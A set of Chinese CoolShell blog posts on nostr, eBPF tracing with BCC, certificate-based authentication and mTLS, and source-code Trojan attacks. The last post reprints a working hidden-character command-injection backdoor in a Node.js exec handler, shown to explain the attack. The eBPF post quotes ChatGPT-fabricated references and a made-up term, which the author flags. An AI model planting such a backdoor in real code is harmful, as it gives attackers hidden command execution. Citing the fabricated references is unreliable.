  • 如果出现了价值观的不同,那么,直接分裂社区就好了,不同价值观的人加入到不同的社区就好了

如果审查是在这个框架下运作的话,虽然不完美,但至少会在一种公允的基础下运作,是透明公开的,也是集体决策的。

开源软件社区是一个很成功的示范,所以,我觉得只有技术而没有一个良性的可持续运作的社区,是不可能解决问题的,干净整齐的环境是一定要有人打扫和整理的

 

欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu
欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 聊聊 nostr 和 审查 first appeared on 酷 壳 - CoolShell.

eBPF 介绍

很早前就想写一篇关于eBPF的文章,但是迟迟没有动手,这两天有点时间,所以就来写一篇,这文章主要还是简单的介绍eBPF 是用来干什么的,并通过几个示例来介绍是怎么玩的,这个技术非常非常之强,Linux 操作系统的观测性实在是太强大了,并在 BCC 加持下变得一览无余。这个技术不是一般的运维人员或是系统管理员可以驾驭的,这个还是要有底层系统知识并有一定开发能力的技术人员才能驾驭的了的。我在这篇文章的最后给了个彩蛋。

介绍

eBPF(extened Berkeley Packet Filter)是一种内核技术,它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter(BPF),后者是由贝尔实验室开发的一种网络过滤器,可以捕获和过滤网络数据包。

出于对更好的 Linux 跟踪工具的需求,eBPF 从 dtrace中汲取灵感,dtrace 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同,Linux 无法全面了解正在运行的系统,因为它仅限于系统调用、库调用和函数的特定框架。在Berkeley Packet Filter  (BPF)(一种使用内核 VM 编写打包过滤代码的工具)的基础上,一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。2014 年随 Linux 3.18 首次限量发布,充分利用 eBPF 至少需要 Linux 4.4 以上版本

eBPF 比起传统的 BPF 来说,传统的 BPF 只能用于网络过滤,而 eBPF 则可以用于更多的应用场景,包括网络监控、安全过滤和性能分析等。另外,eBPF 允许常规用户空间应用程序将要在 Linux 内核中执行的逻辑打包为字节码,当某些事件(称为挂钩)发生时,内核会调用 eBPF 程序。此类挂钩的示例包括系统调用、网络事件等。用于编写和调试 eBPF 程序的最流行的工具链称为 BPF 编译器集合 (BCC),它基于 LLVM 和 CLang。

eBPF 有一些类似的工具。例如,SystemTap 是一种开源工具,可以帮助用户收集 Linux 内核的运行时数据。它通过动态加载内核模块来实现这一功能,类似于 eBPF。另外,DTrace 是一种动态跟踪和分析工具,可以用于收集系统的运行时数据,类似于 eBPF 和 SystemTap。[1]

以下是一个简单的比较表格,可以帮助您更好地了解 eBPF、SystemTap 和 DTrace 这三种工具的不同之处:[1]

工具 eBPF SystemTap DTrace
定位 内核技术,可用于多种应用场景 内核模块 动态跟踪和分析工具
工作原理 动态加载和执行无损编译过的代码 动态加载内核模块 动态插接分析器,通过 probe 获取数据并进行分析
常见用途 网络监控、安全过滤、性能分析等 系统性能分析、故障诊断等 系统性能分析、故障诊断等
优点 灵活、安全、可用于多种应用场景 功能强大、可视化界面 功能强大、高性能、支持多种编程语言
缺点 学习曲线高,安全性依赖于编译器的正确性 学习曲线高,安全性依赖于内核模块的正确性 配置复杂,对系统性能影响较大

对比表格[1]

从上表可以看出,eBPF、SystemTap 和 DTrace 都是非常强大的工具,可以用于收集和分析系统的运行情况。[1]

用途

eBPF 是一种非常灵活和强大的内核技术,可以用于多种应用场景。下面是 eBPF 的一些常见用途:[1]

  • 网络监控:eBPF 可以用于捕获网络数据包,并执行特定的逻辑来分析网络流量。例如,可以使用 eBPF 程序来监控网络流量,并在发现异常流量时进行警报。[1]
  • 安全过滤:eBPF 可以用于对网络数据包进行安全过滤。例如,可以使用 eBPF 程序来阻止恶意流量的传播,或者在发现恶意流量时对其进行拦截。[1]
  • 性能分析:eBPF 可以用于对内核的性能进行分析。例如,可以使用 eBPF 程序来收集内核的性能指标,并通过特定的接口将其可视化。这样,可以更好地了解内核的性能瓶颈,并进行优化。[1]
  • 虚拟化:eBPF 可以用于虚拟化技术。例如,可以使用 eBPF 程序来收集虚拟机的性能指标,并进行负载均衡。这样,可以更好地利用虚拟化环境的资源,提高系统的性能和稳定性。[1]

总之,eBPF 的常见用途非常广泛,可以用于网络监控、安全过滤、性能分析和虚拟化等多种应用场景。[1]

工作原理

eBPF 的工作原理主要分为三个步骤:加载、编译和执行。

eBPF 需要在内核中运行。这通常是由用户态的应用程序完成的,它会通过系统调用来加载 eBPF 程序。在加载过程中,内核会将 eBPF 程序的代码复制到内核空间。

eBPF 程序需要经过编译和执行。这通常是由Clang/LLVM的编译器完成,然后形成字节码后,将用户态的字节码装载进内核,Verifier会对要注入内核的程序进行一些内核安全机制的检查,这是为了确保 eBPF 程序不会破坏内核的稳定性和安全性。在检查过程中,内核会对 eBPF 程序的代码进行分析,以确保它不会进行恶意操作,如系统调用、内存访问等。如果 eBPF 程序通过了内核安全机制的检查,它就可以在内核中正常运行了,其会通过通过一个JIT编译步骤将程序的通用字节码转换为机器特定指令集,以优化程序的执行速度。

下图是其架构图。

(图片来自:https://www.infoq.com/articles/gentle-linux-ebpf-introduction/

在内核中运行时,eBPF 程序通常会挂载到一个内核钩子(hook)上,以便在特定的事件发生时被执行。例如,

  • 系统调用——当用户空间函数将执行转移到内核时插入
  • 函数进入和退出——拦截对预先存在的函数的调用
  • 网络事件 – 在收到数据包时执行
  • Kprobes 和 uprobes – 附加到内核或用户函数的探测器

最后 eBPF Maps,允许eBPF程序在调用之间保持状态,以便进行相关的数据统计,并与用户空间的应用程序共享数据。一个eBPF映射基本上是一个键值存储,其中的值通常被视为任意数据的二进制块。它们是通过带有BPF_MAP_CREATE参数的bpf_cmd系统调用来创建的,和Linux世界中的其他东西一样,它们是通过文件描述符来寻址。与地图的交互是通过查找/更新/删除系统调用进行的

总之,eBPF 的工作原理是通过动态加载、执行和检查无损编译过的代码来实现的。[1]

示例

eBPF 可以用于对内核的性能进行分析。下面是一个基于 eBPF 的性能分析的 step-by-step 示例:

第一步:准备工作:首先,需要确保内核已经支持 eBPF 功能。这通常需要在内核配置文件中启用 eBPF 相关的选项,并重新编译内核。检查是否支持 eBPF,你可以用这两个命令查看 ls /sys/fs/bpflsmod | grep bpf

第二步:写 eBPF 程序:接下来,需要编写 eBPF 程序,用于收集内核的性能指标。eBPF 程序的语言可以选择 C 或者 Python,它需要通过特定的接口访问内核的数据结构,并将收集到的数据保存到指定的位置。

下面是一个Python 示例(其实还是C语言,用python来加载一段C程序到Linux内核)

#!/usr/bin/python3

from bcc import BPF
from time import sleep

# 定义 eBPF 程序
bpf_text = """
#include <uapi/linux/ptrace.h>

BPF_HASH(stats, u32);

int count(struct pt_regs *ctx) {
    u32 key = 0;
    u64 *val, zero=0;
    val = stats.lookup_or_init(&key, &zero);
    (*val)++;
    return 0;
}
"""

# 编译 eBPF 程序
b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"])

# 加载 eBPF 程序
b.attach_kprobe(event="tcp_sendmsg", fn_name="count")

name = {
  0: "tcp_sendmsg"
}
# 输出统计结果
while True:
    try:
        #print("Total packets: %d" % b["stats"][0].value)
        for k, v in b["stats"].items():
           print("{}: {}".format(name[k.value], v.value))
        sleep(1)
    except KeyboardInterrupt:
        exit()

这个 eBPF 程序的功能是统计网络中传输的数据包数量。它通过定义一个 BPF_HASH 数据结构来保存统计结果(eBPF Maps),并通过捕获 tcp_sendmsg 事件来实现实时统计。最后,它通过每秒输出一次统计结果来展示数据。这个 eBPF 程序只是一个简单的示例,实际应用中可能需要进行更复杂的统计和分析。

第三步:运行 eBPF 程序:接下来,需要使用 eBPF 编译器将 eBPF 程序编译成内核可执行的格式(这个在上面的Python程序里你可以看到——Python引入了一个bcc的包,然后用这个包,把那段 C语言的程序编译成字节码加载在内核中并把某个函数 attach 到某个事件上)。这个过程可以使用 BPF Compiler Collection(BCC)工具来完成。BCC 工具可以通过命令行的方式将 eBPF 程序编译成内核可执行的格式,并将其加载到内核中。

下面是运行上面的 Python3 程序的步骤:

sudo apt install python3-bpfcc

注:在Python3下请不要使用 pip3 install bcc (参看:这里

如果你是 Ubuntu 20.10 以上的版本,最好通过源码安装(否则程序会有编译问题),参看:这里

apt purge bpfcc-tools libbpfcc python3-bpfcc
wget https://github.com/iovisor/bcc/releases/download/v0.25.0/bcc-src-with-submodule.tar.gz
tar xf bcc-src-with-submodule.tar.gz
cd bcc/
apt install -y python-is-python3
apt install -y bison build-essential cmake flex git libedit-dev   libllvm11 llvm-11-dev libclang-11-dev zlib1g-dev libelf-dev libfl-dev python3-distutils
apt install -y checkinstall
mkdir build
cd build/
cmake -DCMAKE_INSTALL_PREFIX=/usr -DPYTHON_CMD=python3 ..
make
checkinstall

接下来,需要将上面的 Python 程序保存到本地,例如保存到文件 netstat.py。运行程序:最后,可以通过执行以下命令来运行 Python 程序:

$ chmod +x ./netstat.py
$ sudo ./netstat.py
tcp_sendmsg: 29
tcp_sendmsg: 216
tcp_sendmsg: 277
tcp_sendmsg: 379
tcp_sendmsg: 419
tcp_sendmsg: 468
tcp_sendmsg: 574
tcp_sendmsg: 645
tcp_sendmsg: 29

程序开始运行后,会在控制台输出网络数据包的统计信息。可以通过按 Ctrl+C 组合键来结束程序的运行。

下面我们再看一个比较复杂的示例,这个示例会计算TCP的发包时间(示例参考于Github上 这个issue里的程序):

#!/usr/bin/python3

from bcc import BPF
import time

# 定义 eBPF 程序
bpf_text = """
#include <uapi/linux/ptrace.h>
#include <net/sock.h>
#include <net/inet_sock.h>
#include <bcc/proto.h>

struct packet_t {
    u64 ts, size;
    u32 pid;
    u32 saddr, daddr;
    u16 sport, dport;
};

BPF_HASH(packets, u64, struct packet_t);

int on_send(struct pt_regs *ctx, struct sock *sk, struct msghdr *msg, size_t size)
{
    u64 id = bpf_get_current_pid_tgid();
    u32 pid = id;

    // 记录数据包的时间戳和信息
    struct packet_t pkt = {}; // 结构体一定要初始化,可以使用下面的方法
                              //__builtin_memset(&pkt, 0, sizeof(pkt)); 
    pkt.ts = bpf_ktime_get_ns();
    pkt.size = size;
    pkt.pid = pid;
    pkt.saddr = sk->__sk_common.skc_rcv_saddr;
    pkt.daddr = sk->__sk_common.skc_daddr;
    struct inet_sock *sockp = (struct inet_sock *)sk;
    pkt.sport = sockp->inet_sport;
    pkt.dport = sk->__sk_common.skc_dport;

    packets.update(&id, &pkt);
    return 0;
}

int on_recv(struct pt_regs *ctx, struct sock *sk)
{
    u64 id = bpf_get_current_pid_tgid();
    u32 pid = id;

    // 获取数据包的时间戳和编号
    struct packet_t *pkt = packets.lookup(&id);
    if (!pkt) {
        return 0;
    }

    // 计算传输时间
    u64 delta = bpf_ktime_get_ns() - pkt->ts;

    // 统计结果
    bpf_trace_printk("tcp_time: %llu.%llums, size: %llu\\n", 
       delta/1000, delta%1000%100, pkt->size);

    // 删除统计结果
    packets.delete(&id);

    return 0;
}
"""

# 编译 eBPF 程序
b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"])

# 注册 eBPF 程序
b.attach_kprobe(event="tcp_sendmsg", fn_name="on_send")
b.attach_kprobe(event="tcp_v4_do_rcv", fn_name="on_recv")

# 输出统计信息
print("Tracing TCP latency... Hit Ctrl-C to end.")
while True:
    try:
        (task, pid, cpu, flags, ts, msg) = b.trace_fields()
        print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg))
    except KeyboardInterrupt:
        exit()

上面这个程序通过捕获每个数据包的时间戳来统计传输时间。在捕获 tcp_sendmsg 事件时,记录数据包的发送时间;在捕获 tcp_v4_do_rcv 事件时,记录数据包的接收时间;最后,通过比较两个时间戳来计算传输时间。

从上面的两个程序我们可以看到,eBPF 的一个编程的基本方法,这样的在Python里向内核的某些事件挂载一段 “C语言” 的方式就是 eBPF 的编程方式。实话实说,这样的代码很不好写,而且有很多非常诡异的东西,一般人是很难驾驭的(上面的代码我也不是很容易都能写通的,把 Google 都用了个底儿掉,读了很多晦涩的文档……)好在这样的代码已经有人写了,我们不必再写了,在 Github 上的 bcc 库下的 tools 目录有很多……

BCC(BPF Compiler Collection)是一套开源的工具集,可以在 Linux 系统中使用 BPF(Berkeley Packet Filter)程序进行系统级性能分析和监测。BCC 包含了许多实用工具,如:

  1. bcc-tools:一个包含许多常用的 BCC 工具的软件包。
  2. bpftrace:一个高级语言,用于编写和执行 BPF 程序。
  3. tcptop:一个实时监控和分析 TCP 流量的工具。
  4. execsnoop:一个用于监控进程执行情况的工具。
  5. filetop:一个实时监控和分析文件系统流量的工具。
  6. trace:一个用于跟踪和分析函数调用的工具。
  7. funccount:一个用于统计函数调用次数的工具。
  8. opensnoop:一个用于监控文件打开操作的工具。
  9. pidstat:一个用于监控进程性能的工具。
  10. profile:一个用于分析系统 CPU 使用情况的工具。

下面这张图你可能见过多次了,你可以看看他可以干多少事,内核里发生什么事一览无余。

延伸阅读

一些经典的文章和书籍关于 eBPF 包括:

彩蛋

最后来到彩蛋环节。因为最近 ChatGPT 很火,于是,我想通过 ChatGPT 来帮助我书写这篇文章,一开始我让ChatGPT 帮我列提纲,并根据提纲生成文章内容,并查找相关的资料,非常之顺利,包括生成的代码,我以为我们以很快地完成这篇文章。

但是,到了代码生成的时候,我发现,ChatGPT 生成的代码的思路和方法都是对的,但是是比较老的,而且是跑不起来的,出现了好些低级错误,如:使用了未声明的变量,没有引用完整的C语言的头文件,没有正确地初始化变量,错误地获取数据,类型没有匹配……等等,在程序调试上,挖了很多的坑,C语言本来就不好搞,挖的很多运行时的坑很难察觉,所以,耗费了我大量的时间来排除各种各样的问题,其中有环境上的问题,还有代码上的问题,这些问题即便是通过 Google 也不容易找到解决方案,我找到的解决方案都放在文章中了,尤其是第二个示例,让我调试了3个多小时,读了很多 bcc 上的issue和相关的晦涩的手册和文档,才让程序跑通。

到了文章收关的阶段,我让ChatGPT 给我几个延伸阅读,也是很好的,但是没有给出链接,于是我只得人肉 Google 了一下,然后让我吃惊的是,好多ChatGPT给出来的文章是根本不存在的,完全是它伪造的。我连让它干了两次都是这样,这个让我惊掉大牙。这让我开始怀疑它之前生成的内容,于是,我不得我返回仔细Review我的文章,尤其是“介绍”、“用途”和“工作原理”这三个章节,基本都是ChatGPT生成的,在Review完后,我发现了ChatGPT 给我生造了一个叫 “无损编译器”的术语,这个术语简直了,于是我开始重写我的文章。我把一些段落重写了,有一些没有,保留下来的我都标记上了 [1],大家读的时候要小心阅读。

最后,我的结论是,ChatGPT只是一个不成熟的玩具,只能回答一些没有价值的日常聊天的问题,要说能取代Google,我觉得不可能,因为Google会基于基本的事实,而ChatGPT会基于内容生成的算法,在造假方面称得上是高手,可以列为电信诈骗的范畴了,我以后不会再使用ChatGPT生成文章内容或是作我的帮手了。StackOverflow把其ban了真是不能太赞了!

附件一:ChatGPT的造假载图和样本

点击看大图

点击看大图

ChatGPT 生成的样本一

  • Brendan Gregg 的《BPF Performance Tools: Linux System and Application Observability》一书是一个全面的指南,涵盖了 eBPF 的基础知识和实践应用。
  • Alexei Starovoitov 在 2015 年的 LPC 大会上发表的《eBPF and XDP: fast programmable datapath in the Linux kernel》一文,是一个介绍 eBPF 和 XDP(eXpress Data Path)的综述。
  • 谷歌的《BPF: The Future of Linux Monitoring and Observability》一文介绍了 eBPF 的基本概念,并探讨了它对于 Linux 监控和可观察性的影响。
  • 微软的《A Survey of Techniques for Hardware Acceleration of BPF》一文,介绍了 eBPF 在硬件加速方面的研究现状。
  • Daniel Borkmann 的《Linux kernel networking: implementation and theory》一书涵盖了 eBPF 的实现和理论。
  • Martin KaFai Lau 在 2015 年的 SOSP 大会上发表的《eBPF: a new execution environment for the Linux kernel》一文,介绍了 eBPF 在 Linux 内核中的新执行环境。
  • 来自两名谷歌工程师的《eBPF: A New Frontier in Performance Analysis》一文,探讨了 eBPF 对性能分析的影响。
  • 《BPF Performance Tools: Linux System and Application Observability》一书中的第三章,讨论了 eBPF 的编译器和运行时系统。
  • 来自三名谷歌工程师的《eBPF: The New Solaris DTrace》一文,比较了 eBPF 和 Solaris DTrace 系统的区别。

ChatGPT 生成的样本二

  1. eBPF 程序开发指南(https://cilium.io/doc/ebpf/ebpf-guide/
  2. eBPF 官方文档(https://www.kernel.org/doc/Documentation/networking/filter.txt
  3. Linux 内核 eBPF 介绍(https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html
  4. eBPF 性能优化技巧(https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/
  5. eBPF 实战经验分享(https://blog.cloudflare.com/ebpf-in-practice/
  6. eBPF 在网络安全中的应用(https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/
  7. eBPF 实现 Linux 系统性能监控(https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/
  8. eBPF 入门教程(https://sysdig.com/blog/ebpf-getting-started/
  9. eBPF 与 BPF 比较(https://lwn.net/Articles/724647/
  10. eBPF 提高课程(https://www.pluralsight.com/courses/ebpf-advanced

附件二:发明的术语:无损编译器

点击看大图

点击看大图

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post eBPF 介绍 first appeared on 酷 壳 - CoolShell.

网络数字身份认证术

这篇文章是《HTTP API 认证授权术》的姊妹篇,在那篇文章中,主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest Access, HMAC, OAuth, JWT 等各种方式,主要是 API 上用到的一些技术,这篇文章主要想说的是另一个话题——身份认证。也就是说,怎么确认这个数据就是这个人发出来的?

用户密码

要解决这个问题,我们先来看一个最简单的解——使用密码,通常来说,在网络上要证明一个人的身份的话,都需要这个人的一些私密而唯一的东西。比如,像密码这样的东西,很多地方,只要你提供了你的用户名+密码,就可以确定这个人是你(注明:关于密码管理,强密码设定,密码泄漏,密码破解以及密码哄骗不在这篇文章的话题中),也就是说,这个密码是非常私密的事,我们可以假设,这个事全世界只能有当事人一个人知道,所以,当事人得供正确的密码,我们就可以认证这个人了。

为了加强密码的安全程度,一般会使用 2FA(Two-factor authentication)或 MFA(Multi-factor authentication),双因认证或多因认证,这需要用户提供一个唯一的可信设备,比如用户的手机,然后通过验证手机短信,或是像 Google Authenticator  这样的动态口令来完成。这样的安全级别已经算是比较高了。如果能够再加上经常性的变更密码,那么安全级别就更好了。

另外,一些公司还使用了生物密码来进行用户的身份验证,比如人脸识别。但是,我个人觉得人脸识别或是生物识别是比较糟糕的方式,因为:

  • 目前能被验证的生物信息(如人脸和指纹)太容易被别人获得和伪造了。
  • 这样东西不能被变更和吊销,密码可以被吊销和重置,人脸则不能。

密钥对和证书

密码可以解决身证认证的问题有很多问题,最重要的一个问题就是,你要把你的密码提供给对方,对方才能验证你的身份。你不可能把你的密码提供给全世界的人吧,这样的话,全世界的人都有你的密码了,那么任何人都能变成你了。所以,用户密码这个事只能存在于权威机构和普通用户之间,不能存在于普遍应用中。所以,这里需要使用更好的解决方案。

使用 ECC(Elliptic-Curve Cryptography)椭圆曲线密码术,可以通过一个“密钥对”进行非对称加密。这种技术,在对信息进行加密和解密时,使用两个不同的密钥,其中一个用来做加密,另一个做解密。这样一来,我们就可以把其中一个密钥公布出去,称之为公钥,另一个密钥私密地保管好,称之为私钥。

比如,我用我的私钥加密信息,然后,我把这个私钥所配对的公钥发布给所有人,大家都用公钥解密信息,不用我的公钥你解密不了这个信息。这样一来,就可以保证这个信息是我发出来的,不但保证了信息安全,还完成了身份认证。

这样的现实案例一般用于网站,也就是用户得要知道我访问的这个网站是真实的,不是别人做的。因为 DNS 很容易被 hack,你连上一个不可信的网络,这个网络里的 DNS 把这个网站的 IP 地址解析成什么 就是什么了。但是有了这个加密的机制后,网站把自己的信息加密后连同公钥给到访问者,访问解密后就知道是不是这个网站了。

但是,这里还是会有一个很严重的问题,那就是中间人攻击。如下图所示:

中间人 Chad 把自己伪装成 Bob 向 Alice 要信息,然后,再伪装成 Alice 对 Bob 说,这就是 Alice 的公钥,于是 Bob 也无法验证是不是 Alice 的公钥,因为公钥里就是一堆乱七八糟的数据,我们完全不能分辨哪个公钥属于 Alice 的。试想,如果我们收到声称属于银行的密钥。我们怎么知道它确实属于你的银行?

这里的答案就是使用数字证书。证书跟我们的身份证非常类似,其需要一个可信机构来颁发和验证的。这个证书机构 CA(Certificate Authority)是一个是大家都相信的权威机构,他用他的人品保证(当然一般会被严格管理和审计),CA 机构同样使用这样的非对称加密的技术来完成颁发和验证的事。下图展示了这一过程。

说明一下上面这个图:

  1. 为了解决公钥认证的问题的,我们需要一个权威的CA 机构。
  2. Alice 把自己的信息(姓名、组织,地址,电邮,网址等)和自己的公钥打包成一个 CSR 的文件,发给 CA 机构,
  3. CA 机构会来找 Alice 做物理世界的认证,如果通过后,就会用自己的机构私钥,把CSR 变成一个签名证书。
  4. Bob 同学拿到 Alice 的证书,用 CA 机构的公钥解密后,得到 Alice 的公钥
  5. 后面就可以签证 信息是否来自 Alice 了。

是的,这个过程就是在“套娃”,这种证书机构还可以给下级的证书机构发证,于是就会一层套一层地,形成一个证书链,顶层的叫根证书,你得绝对信任之。对于验证证书真实性的客户端,它需要能够验证链中所有 CA 的签名,这意味着客户端需要访问链中所有 CA 的证书。

证书生成过程演示

并不是所有的场景都需要向这些大型的 CA 机构申请公钥证书,在任何一个企业,组织或是团体内都可以自己形这样的“小王国”,也就是说,你可以自行生成这样的证书,只需要你自己保证自己的生成证书的私钥的安全,以及不需要扩散到整个互联网。下面,我们用 openssl命令来演示这个过程。

1)生成 CA 的证书(公钥) ca.crt 和私钥 ca.key

openssl req -newkey rsa:2048 \
    -new -nodes -x509 \
    -days 365 \
    -out ca.crt \
    -keyout ca.key \
    -subj "/C=SO/ST=Earth/L=Mountain/O=CoolShell/OU=HQ/CN=localhost"

2)  生成 alice 的私钥

openssl genrsa -out alice.key 2048

3)生成 Alice 的 CSR – Certificate Signing Request

openssl req -new -key alice.key 365 -out alice.csr \
    -subj "/C=CN/ST=Beijing/L=Haidian/O=CoolShell/OU=Test/CN=localhost.alice"

4)使用 CA 给 Alice 签名证书

openssl x509  -req -in alice.csr \
    -extfile <(printf "subjectAltName=DNS:localhost.alice") \ 
    -CA ca.crt -CAkey ca.key  \
    -days 365 -sha256 -CAcreateserial \
    -out alice.crt

双向认证 mTLS

上面,我们说的基本上都是单向认证,大量的场景都是确保用户方访问的是真正的服务方,如:银行,电商网站,等。这样可以保证用户不会被钓鱼网站或是中间人攻击。但是,很多时候,我们也是需要双向认证的。下面是一个典型的场景——微信支付和商户间交互

  • 用户到商家那边买东西,商家要求用户进行支付。
  • 用户选择了微信支付,于是,界面从商户侧切到了微信侧
  • 微信那边支付完成后,商户这边收到微信那边支付完成的通知,于是开始发货。

这个过程中有件事非常重要——就是微信通知商户支付完成的时候。

  • 微信得确保通知到的就是用户所支付商户,而不是别个。
  • 商户也得要能确认,来通知我的就是微信,不是别人。

一般来说,微信会给商户一个 AppID和一个 AppSerct,用这个来确保是我认证过的商户来调用我,然后,需要商户在自己的系统里填一个回调的 URL,并通过平台设置的 key来做 MD5/HMAC的签名来确保是官方的回调。这都是在《HTTP API 认证授权术》中提到过的技术,是相对传统的技术。

如今,mTLS是确保云原生应用程序中服务之间的通信安全的首选协议。 也就是双向认证。

传统的 TLS 认证过程是:

  1. 客户端连接到服务器
  2. 服务器提供其 TLS 证书
  3. 客户端验证服务器的证书
  4. 客户端和服务器通过加密的 TLS 连接交换信息

在 mTLS 中,客户端和服务器都有一个证书,双方都使用他们的公钥/私钥对进行身份验证。与常规 TLS 相比,mTLS 中有额外的步骤来验证双方(以粗体显示的额外步骤):

  1. 客户端连接到服务器
  2. 服务器提供其 TLS 证书
  3. 客户端验证服务器的证书
  4. 客户端出示其 TLS 证书
  5. 服务器验证客户端的证书
  6. 服务器授予访问权限
  7. 客户端和服务器通过加密的 TLS 连接交换信息

mTLS 需要“根”TLS 证书;这我们自己来完成证书颁发机构的职责。授权客户端和服务器使用的证书必须与此根证书相对应。根证书是自签名的,这意味着我们需要自己创建它。(注:此方法不适用于公共 Internet 上的单向 TLS,因为外部证书颁发机构必须颁发这些证书)

那么,为什么整个互联网上都用了 TLS 了,为什么 不升级一下使用 mTLS?这里有两方面的原因:

  • 公共互联网上要解决的问题是:A) 确保用户访问到的是正确的网站,而不是钓鱼网站。B)网站传输的内容是安全和私密且不会被篡改的。
  • 将 TLS 证书分发到所有最终用户设备将非常困难。生成、管理和验证为此所需的数十亿个证书几乎是不可能的任务。

在较小的范围内,mTLS 对于单个组织非常有用且非常实用,尤其是当这些组织采用零信任方法来确保网络安全时。由于默认情况下零信任方法不信任任何用户、设备或请求,因此组织必须能够在每次尝试访问网络中的任何点时对每个用户、设备和请求进行身份验证。mTLS 通过对用户进行身份验证和设备验证来帮助实现这一目标。

关于 mTLS,这里有一个我用 Golang 写的示例 – https://github.com/haoel/mTLS,大家可以参考一下。

P.S. 本文图版中的卡司来自安全圈的标准 Cast,参看 Alice and Bob

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 网络数字身份认证术 first appeared on 酷 壳 - CoolShell.

源代码特洛伊木马攻击

最近,我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本,中文直译作 “双向文本”,意思是一些语言是从左到右的,而另一些则是是从右到左的(如:阿拉伯语),如果同一个文件里,即有从左向右的文本也有从右向左文本两种的混搭,那么,就叫bi-direction。术语通常缩写为“ BiDi ”或“ bidi ”。使用双向文本对于中国人来说并不陌生,因为中文又可以从左到右,也可以从右到左,还可以从上到下。

早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持,但不容易支持从右到左的脚本,例如阿拉伯语或希伯来语,并且将两者混合使用更是不可能。从右到左的脚本是通过ISO/IEC 8859-6ISO/IEC 8859-8等编码引入的,通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序,但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持,可以在同一页面上混合来自不同脚本的字符,而不管书写方向如何。

双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说,其标准为完整的 BiDi 支持提供了基础,其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。

好的,科普完“双向文本”后,我们正式进入正题,为什么Github 会出这个警告?Github的官方博客“关于双向Unicode的警告”中说,使用一些Unicode中的用于控制的隐藏字符,可以让你代码有着跟看上去完全不一样的行为。

我们先来看一个示例,下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型,然后计算其中多少个为 1 的 bit。

package main

import "fmt"

func main() {
  str, mask := "Hello, World!‮10x‭", 0

  bits := 0
  for _, ch := range str {
    for ch > 0 {
      bits += int(ch) & mask
      ch = ch >> 1
    }
  }
  fmt.Println("Total bits set:", bits)
}

这个代码你看上去没有什么 奇怪的地方,但是你在执行的时候(可以直接上Go Playground上执行  – https://play.golang.org/p/e2BDZvFlet0),你会发现,结果是 0,也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事?

如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里,你就可以看到下面这一幕。

其中有两个浅蓝色的尖括号的东西—— <202e><202d> 。这两个字符是两个Unicode的控制字符(注:完整的双向文本控制字符参看 Unicode Bidirectional Classes):

  • U+202E – Right-to-Left Override [RLO] 
    表示,开始从右到左显示,于是,接下来的文本 10x", 0 变成了 0 ,"x01
  • U+202D – Left-to-Right Override [LRO]
    表示,开始从左到右显示,于是,0,"x01 中的前4个字符0 ," 反转成  ", 0,于是整个文本成了 ", 0x01

所以,你在视觉上看到的是结果是—— "Hello, World!”, 0x01, 但是实际上是完全是另外一码事。

然后,Github官方博客中还给了一个安全问题 CVE-2021-42574 ——

在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序,可用于制作源代码,呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码,从而将目标漏洞引入人类审查者不可见的地方。

这个安全问题在剑桥大学的这篇论文“Some Vulnerabilities are Invisible”中有详细的描述。其中PDF版的文章中也给了这么一个示例:

通过双向文本可以把下面这段代码:

伪装成下面的这个样子:

在图 2 中'alice'被定义为价值 100,然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数,因此该小程序在执行时应该给我们 50 的结果。

然而,图 1 向我们展示了如何使用双向字符来破坏程序的意图:通过插入RLI (Right To Left Isolate) – U+2067我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能,但图 1 的输出变为 100。

除此之外,支持Unicode还可以出现很多其它的攻击,尤其是通过一些“不可见字符”,或是通过“同形字符”在源代码里面埋坑。比如文章“The Invisible Javascript Backdoor”里的这个示例:

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

上面这个代码实现了一个非常简单的网络健康检查,HTTP会执行 ping -c 1 google.com 以及 curl -s http://example.com 这两个命令来查看网络是否正常。其中,可选输入 HTTP 参数timeout限制命令执行时间。

